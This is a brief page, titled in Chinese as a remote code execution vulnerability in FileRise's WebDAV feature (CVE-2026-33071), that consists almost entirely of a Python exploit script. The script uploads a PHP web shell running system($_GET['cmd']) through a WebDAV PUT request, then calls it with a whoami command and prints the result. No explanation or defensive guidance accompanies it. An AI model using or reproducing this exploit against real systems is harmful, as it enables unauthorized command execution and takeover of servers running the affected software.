CVE-2026-33071 FileRise WebDAV远程代码执行漏洞

import requests # Target configuration target_url = "http://example.com/webdav/" shell_filename = "shell.php" malicious_code = "<?php system($_GET['cmd']); ?>" # WebDAV PUT request to upload the malicious file headers = { "Content-Type": "application/octet-stream" } print(f"[*] Attempting to upload {shell_filename}...") response = requests.put(target_url + shell_filename, data=malicious_code, headers=headers) if response.status_code == 201 or response.status_code == 200: print(f"[+] File uploaded successfully.") # Attempt to execute the uploaded file exec_url = f"http://example.com/uploads/{shell_filename}?cmd=whoami" print(f"[*] Triggering payload at: {exec_url}") r = requests.get(exec_url) print("[+] Response:") print(r.text) else: print(f"[-] Upload failed with status code: {response.status_code}")